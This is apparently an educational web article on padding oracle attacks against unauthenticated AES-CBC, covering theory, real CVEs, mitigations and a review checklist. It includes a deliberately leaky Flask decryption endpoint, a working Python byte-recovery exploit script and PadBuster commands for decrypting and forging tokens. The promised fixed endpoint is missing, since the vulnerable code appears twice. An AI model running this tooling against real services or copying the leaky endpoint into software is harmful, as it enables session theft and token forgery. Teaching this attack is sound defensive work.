12 min read

Cryptography
Advanced
A04

Padding Oracle Attacks

A padding oracle is not a broken cipher. It is a decryption endpoint that answers honestly — and once an attacker can tell a padding failure from every other failure, CBC stops being an encryption scheme and becomes an encryption function they can query one byte at a time.

The mistake to avoid

Most written explanations of this attack describe the oracle backwards — they say a padding error means the guess failed and a decryption error means it succeeded. It is the opposite. The oracle is valid padding versus invalid padding; every other distinction is a second oracle stacked on the first.

What the oracle actually is

CBC decryption pads the plaintext to a multiple of the block size before encrypting and removes the padding after decrypting. The receiver therefore has to inspect the last bytes of the recovered plaintext and verify that they form a valid PKCS#7 pad: a value n repeated n times, for n between 1 and the block size. If they do not, decryption fails.

That check is a decision, and the decision reaches the attacker. A 500 against a 400, an error string, a redirect to a login page, fifty milliseconds of extra work — anything that correlates with the result is the oracle. The attacker does not need to see the plaintext; they need one bit per request.

app.py
# a decryption endpoint that tells the attacker which failure happened
@app.route('/decrypt')
def decrypt():
    token = request.args.get('token', '')
    raw = base64.b64decode(token)
    try:
        plain = cipher.decrypt(raw)          # unauthenticated CBC
    except ValueError:
        return 'Invalid padding', 400        # the oracle
    except Exception:
        return 'Decryption failed', 500      # a second, finer oracle
    return plain
# a decryption endpoint that tells the attacker which failure happened
@app.route('/decrypt')
def decrypt():
    token = request.args.get('token', '')
    raw = base64.b64decode(token)
    try:
        plain = cipher.decrypt(raw)          # unauthenticated CBC
    except ValueError:
        return 'Invalid padding', 400        # the oracle
    except Exception:
        return 'Decryption failed', 500      # a second, finer oracle
    return plain

The left-hand version leaks twice: the padding failure is distinguishable, and a second branch leaks whether the failure happened somewhere else. The right-hand version cannot leak padding state because the tag is verified before any plaintext exists.

The relationship the attack relies on

With ciphertext blocks C(1)…C(n) and an IV, decryption is:

P(i) = D(C(i)) XOR C(i-1)

The key is inside D. The attacker never learns it. But C(i-1) is an ordinary ciphertext block the attacker controls, and XOR is bitwise and invertible — so flipping a bit in C(i-1) flips the same bit in P(i), with certainty. The block after it decrypts to garbage, which does not matter if the attacker only needs one block.

Padding oracle: from modified ciphertext to a valid-padding verdict

Each accepted-padding verdict gives the attacker one byte of P(i). The loop runs 128 times per byte on average.

Scroll sideways to see the whole diagram

Attacker edits Effect on P(i) Effect on P(i+1) Why it helps
Byte in C(i-1) Same byte, flipped predictably Block destroyed Lets the attacker aim the padding check at a chosen byte
Byte in C(i) Unpredictable Unpredictable Useless without the key
Byte in the IV Same byte, flipped predictably Unaffected Only for block 1 — the IV is C(0)
Whole block removed Block shifts into the previous position Shifts too The basis of the SSLv3 truncation attack behind POODLE

Recovering one block

The attack works from the last byte backwards, because that is where PKCS#7 padding sits. To learn byte 16 of P(i), the attacker sets the final byte of C(i-1) to every value until the server stops reporting bad padding — at which point P(i) ends in 0x01, and the value that produced it reveals the original byte. Then the attacker fixes the final byte so P(i) ends in 0x02 0x02, varies byte 15, and repeats. Sixteen bytes, then the next block.

One subtlety makes naive scripts fail: a guess can produce valid-looking padding by accident — the 0x01 case is indistinguishable from a lucky 0x02 0x02. The standard fix is to flip the byte before the target and confirm the server now rejects, which only happens when the pad length was 1.

cbc-oracle.py
import base64, requests

BLOCK = 16
URL = 'https://target.example/decrypt'

def oracle(ct: bytes) -> bool:
    """True when the server accepted the padding."""
    r = requests.get(URL, params={'token': base64.b64encode(ct).decode()})
    return r.status_code == 200

def decrypt_block(prev: bytes, cur: bytes) -> bytes:
    """Recover P(i) given C(i-1) and C(i) - one byte at a time."""
    recovered = bytearray(BLOCK)
    for pos in range(BLOCK - 1, -1, -1):
        pad = BLOCK - pos              # 0x01, 0x02, ... 0x10
        forged = bytearray(prev)
        for j in range(pos + 1, BLOCK):
            forged[j] = recovered[j] ^ pad ^ prev[j]
        for guess in range(256):
            forged[pos] = guess
            if oracle(bytes(forged) + cur):
                # 0x02 0x02 is ambiguous with a lucky 0x01: confirm by flipping pos-1
                if pos > 0:
                    check = bytearray(forged)
                    check[pos - 1] ^= 0xFF
                    if not oracle(bytes(check) + cur):
                        continue
                recovered[pos] = guess ^ pad ^ prev[pos]
                break
        else:
            raise RuntimeError(f'no candidate at byte {pos}')
    return bytes(recovered)

Cost, stated honestly

Recovering one block costs on average 128 x block size oracle queries, and 256 x block size in the worst case. For AES-CBC that is roughly 2,048 requests per 16 bytes. A 32-byte session token is a couple of hours against an unthrottled endpoint and days against a rate-limited one — which is why this attack is a real-world incident and not a lab curiosity. The figure comes from Rizzo and Duong's 2010 analysis; do not quote a scanner's "instant decryption" claim instead.

PadBuster without the usual mistakes

PadBuster automates the loop. Two of its arguments are constantly misreported: the third positional argument is the block size in bytes, and the encoding flag is not a boolean.

padbuster-workflow.sh
# the third positional argument is the BLOCK SIZE IN BYTES.
# AES-CBC is 16. Passing 8 (DES/Blowfish) makes PadBuster fail its own check.
perl ./padBuster.pl https://target.example/decrypt \
  "BASE64_CIPHERTEXT_HERE" 16 \
  -encoding 0 \
  -cookies "session=abc123" \
  -error "Invalid padding"

# -encoding 0 means the sample is Base64 (not "no encoding").
# -noencode controls whether the generated value is URL-encoded.
# decrypt a block, or forge one with --plaintext:
perl ./padBuster.pl https://target.example/decrypt "SAMPLE" 16 -encoding 0 \
  --plaintext "admin=true"
Argument Meaning Common error
Third positional Block size in bytes Passing 8 for AES — the script then fails its own check
-encoding 0 = Base64, 1 = hexadecimal Reading 0 as "no encoding"
-error The string that means bad padding Leaving it unset, so every 200 counts as success
--plaintext Forge a block instead of decrypting one Forgetting that forging destroys the following block

Where it has actually happened

The attack is old — Vaudenay published the construction in 2002 — and the incidents are not: the same primitive keeps returning under new product names because the fix is a mode change, and modes are chosen once.

Incident Year What the oracle leaked Lesson
ASP.NET ViewState — MS10-070 / CVE-2010-3332 2010 Decryption and tampering of ViewState; arbitrary file read on .NET 3.5 SP1 and later The framework shipped CBC without authentication; the fix was to sign the ciphertext
Ruby on Rails MessageEncryptor — CVE-2010-3299 2010 Recovery of encrypted cookie contents in Rails 2.3, fixed in 2.3.9 The same disclosure that produced MS10-070 hit a second web framework in the same month
POODLE — CVE-2014-3566 2014 One byte of an SSLv3 record per connection, by moving the target byte into the padding position Same primitive at the protocol layer; covered on the TLS page
Web application frameworks, repeatedly 2010–present Session cookies, remember-me tokens, serialised parameters Any place a developer hand-rolled encrypt-then-nothing

The generalisation worth carrying

Every entry above is a format that decrypts attacker-supplied data and then reports whether decryption succeeded. When you review code, the question is not "is this AES" — it is "does the failure path differ, and can the client choose the bytes that fail".

Mitigations, in order of strength

Control Effect Limit
AEAD mode (AES-GCM, ChaCha20-Poly1305) Removes the padding branch entirely Nonce reuse is now the failure mode to get right
Encrypt-then-MAC Tampered ciphertext is rejected before decryption Must cover the ciphertext, not the plaintext, and must be checked first
Uniform error handling Removes the signal from the response Timing and side channels can survive it; it is a complement, not the fix
Rate limiting and monitoring Turns hours into weeks Does not fix the defect, and 2,048 requests per block is not a lot
Check Expected Where to look
The server returns a distinguishable response for bad padding Different status, error body, or a timing gap that survives repeated requests The decryption endpoint
The ciphertext is attacker-controlled and persists across requests A cookie, a hidden field, a token, or a path parameter that round-trips unchanged The request that carries it
The ciphertext is longer than one block and no MAC covers it A MAC over the ciphertext, verified before decryption, closes the attack The decryption code path
Plaintext recovery of one block is demonstrated The recovered 16 bytes are readable or structurally valid, not random The proof-of-concept script
The failure mode is uniform after the fix Same status, same body, same timing for padding failure and MAC failure The regression test

What to Record

A padding-oracle finding is only credible if the recovered bytes are shown. Capture these five things:

The oracle response pair: Two requests, identical except for the ciphertext, with the differing status or body. Screenshot or raw HTTP, not a description.

One recovered block: Sixteen bytes of plaintext, and what they mean — a serialised session, a filename, part of a JSON body. Random bytes prove the oracle is noisy, not that it is exploitable.

The request count: Average is 128 x block size per block. State the measured number; a claim of 2,048 requests is verifiable, a claim of instant decryption is not.

What the plaintext unlocks: A session token that authenticates as another user is critical; a decrypted value the attacker cannot submit anywhere is informational.

The cipher and mode: AES-CBC with PKCS#7, 16-byte blocks. The mode is the finding, not the library.

Not Every Error Is an Oracle

Four things look like this and are not it:

  • A MAC verified before decryption: If the integrity check runs first and rejects, the padding branch is unreachable and there is no oracle. Check the order in the source, not the response.
  • A per-request key or nonce: If a fresh key protects each message, editing the previous block changes nothing an attacker can predict. Rare, but it closes the attack.
  • A categorical rejection: The endpoint always answers 400 with the same body and a constant time. Timing differences of a few microseconds under load are not a reliable oracle.
  • An oracle with no ciphertext control: The client cannot influence the bytes that get decrypted, so there is nothing to iterate even if the error differs.

Padding Oracle Checklist

Work through this before deciding an endpoint is not vulnerable:

  • ☐ The ciphertext is attacker-supplied and round-trips
  • ☐ It survives a logout or a key rotation unchanged
  • ☐ The response differs for bad padding versus other failures
  • ☐ A full block was recovered, not just a single byte
  • ☐ The recovered block is meaningful in the application context
  • ☐ The request count matches the 128 x block-size expectation
  • ☐ Encrypt-then-MAC or an AEAD mode is in use
  • ☐ The integrity check runs before any decryption output
  • ☐ One error path covers every decryption failure

Closing It Properly

The code change is small. The migration is not, because old tokens are already in the wild:

Why the CBC construction survives in so much production code

Because it is the example. Every tutorial that explains block ciphers shows CBC with an IV, and almost none of them show the authentication step, so the mode that gets copied is the one without integrity. Libraries made this worse by defaulting to it: an empty transformation string, a zero IV, and a decrypt call that returns bytes or throws. The migration is the hard part — a service that has issued tokens under CBC cannot simply switch to GCM, because the old tokens must either be verified under the old scheme for a period or invalidated. That decision belongs in the incident, not in the pull request.

Padding Oracle Practice

Cryptopals set 3 is the canonical exercise: a working oracle, a target, and a script you write yourself before reaching for a tool.

Cryptopals — Set 3, challenge 17 Custom Lab hard
Implement CBC padding validationRecover a block one byte at a timeConfirm the 0x01 ambiguity guard is needed
PadBuster Custom Lab medium
Run it against a deliberately vulnerable local targetUse block size 16 and -encoding 0 correctlyForge a block with --plaintext
OWASP Juice Shop Custom Lab medium
Find an endpoint that decrypts a client-supplied valueCheck whether the failure paths differWrite the regression test that asserts a single failure path